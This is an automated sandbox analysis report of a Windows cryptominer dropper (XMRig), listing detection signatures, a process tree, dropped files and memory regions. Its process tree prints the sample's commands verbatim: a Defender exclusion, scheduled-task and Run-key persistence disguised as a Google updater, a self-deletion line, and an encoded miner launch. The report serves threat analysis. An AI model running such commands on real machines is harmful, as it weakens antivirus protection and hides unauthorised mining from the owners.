Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1801s
  • max time network
    1805s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3556
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:960
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2852
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:564
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:316
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:948
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4948
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1636
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:2128
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:232
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:4796
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:2816
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3336
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2636

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 260KB
                • SHA256 eb86014c094553340f1d5e51942a94605f9ae887d6f77158f05d897653c3735e
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 aa59c4d3fa9bf88542272c81e888175b1949eb6d97956f756203486f47876862
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_br4msrmx.vn0.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_br4msrmx.vn0.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/960-0-0x00007FF67EED0000-0x00007FF67F0E1000-memory.dmp

                memory/960-37-0x00007FF67EED0000-0x00007FF67F0E1000-memory.dmp

                memory/1532-20-0x00007FFE7D720000-0x00007FFE7E1E1000-memory.dmp

                memory/1532-21-0x000002D22A000000-0x000002D22A010000-memory.dmp

                memory/1532-22-0x000002D22A000000-0x000002D22A010000-memory.dmp

                memory/1532-33-0x000002D22A000000-0x000002D22A010000-memory.dmp

                memory/1532-35-0x00007FFE7D720000-0x00007FFE7E1E1000-memory.dmp

                memory/1636-118-0x00007FFE7D720000-0x00007FFE7E1E1000-memory.dmp

                memory/1636-115-0x000001BB7FC90000-0x000001BB7FCA0000-memory.dmp

                memory/1636-92-0x00007FFE7D720000-0x00007FFE7E1E1000-memory.dmp

                memory/1636-93-0x000001BB7FC90000-0x000001BB7FCA0000-memory.dmp

                memory/1636-104-0x000001BB7FC90000-0x000001BB7FCA0000-memory.dmp

                memory/1636-114-0x00007FF4C4700000-0x00007FF4C4710000-memory.dmp

                memory/1636-116-0x000001BB7FC90000-0x000001BB7FCA0000-memory.dmp

                memory/2128-129-0x00007FF7AF970000-0x00007FF7AF986000-memory.dmp

                memory/2128-136-0x00007FF7AF970000-0x00007FF7AF986000-memory.dmp

                memory/2324-15-0x00000203FF2F0000-0x00000203FF300000-memory.dmp

                memory/2324-11-0x00007FFE7D720000-0x00007FFE7E1E1000-memory.dmp

                memory/2324-13-0x00000203FF2F0000-0x00000203FF300000-memory.dmp

                memory/2324-12-0x00000203FF2F0000-0x00000203FF300000-memory.dmp

                memory/2324-1-0x00000203E5320000-0x00000203E5342000-memory.dmp

                memory/2324-14-0x00000203FF2F0000-0x00000203FF300000-memory.dmp

                memory/2324-18-0x00007FFE7D720000-0x00007FFE7E1E1000-memory.dmp

                memory/2636-54-0x00007FF6414A0000-0x00007FF6416B1000-memory.dmp

                memory/2636-91-0x00007FF6414A0000-0x00007FF6416B1000-memory.dmp

                memory/2636-122-0x00007FF6414A0000-0x00007FF6416B1000-memory.dmp

                memory/2852-38-0x00007FFE7D720000-0x00007FFE7E1E1000-memory.dmp

                memory/2852-39-0x00000297EA700000-0x00000297EA710000-memory.dmp

                memory/2852-40-0x00000297EA700000-0x00000297EA710000-memory.dmp

                memory/2852-53-0x00007FFE7D720000-0x00007FFE7E1E1000-memory.dmp

                memory/3336-161-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-165-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-191-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-189-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-187-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-185-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-183-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-181-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-179-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-177-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-139-0x000001D88E590000-0x000001D88E5B0000-memory.dmp

                memory/3336-123-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-141-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-173-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-171-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-128-0x000001D88E530000-0x000001D88E570000-memory.dmp

                memory/3336-169-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-130-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-131-0x000001D88E570000-0x000001D88E590000-memory.dmp

                memory/3336-132-0x000001D88E590000-0x000001D88E5B0000-memory.dmp

                memory/3336-134-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-135-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-167-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-137-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-138-0x000001D88E570000-0x000001D88E590000-memory.dmp

                memory/3336-175-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-124-0x000001D88DE40000-0x000001D88DE60000-memory.dmp

                memory/3336-143-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-145-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-147-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-149-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-151-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-153-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-155-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-157-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-159-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/3336-163-0x00007FF76FB80000-0x00007FF770374000-memory.dmp

                memory/4948-56-0x00000158E0830000-0x00000158E0840000-memory.dmp

                memory/4948-67-0x00007FF4D9A10000-0x00007FF4D9A20000-memory.dmp

                memory/4948-83-0x00000158E2EC0000-0x00000158E2EC8000-memory.dmp

                memory/4948-84-0x00000158E2EF0000-0x00000158E2EF6000-memory.dmp

                memory/4948-85-0x00000158E2F00000-0x00000158E2F0A000-memory.dmp

                memory/4948-82-0x00000158E2F10000-0x00000158E2F2A000-memory.dmp

                memory/4948-81-0x00000158E2EB0000-0x00000158E2EBA000-memory.dmp

                memory/4948-89-0x00007FFE7D720000-0x00007FFE7E1E1000-memory.dmp

                memory/4948-86-0x00000158E0830000-0x00000158E0840000-memory.dmp

                memory/4948-66-0x00000158E0830000-0x00000158E0840000-memory.dmp

                memory/4948-55-0x00007FFE7D720000-0x00007FFE7E1E1000-memory.dmp

                memory/4948-77-0x00000158E0810000-0x00000158E082C000-memory.dmp

                memory/4948-78-0x00000158E2CB0000-0x00000158E2D65000-memory.dmp

                memory/4948-79-0x00000158E0800000-0x00000158E080A000-memory.dmp

                memory/4948-80-0x00000158E2ED0000-0x00000158E2EEC000-memory.dmp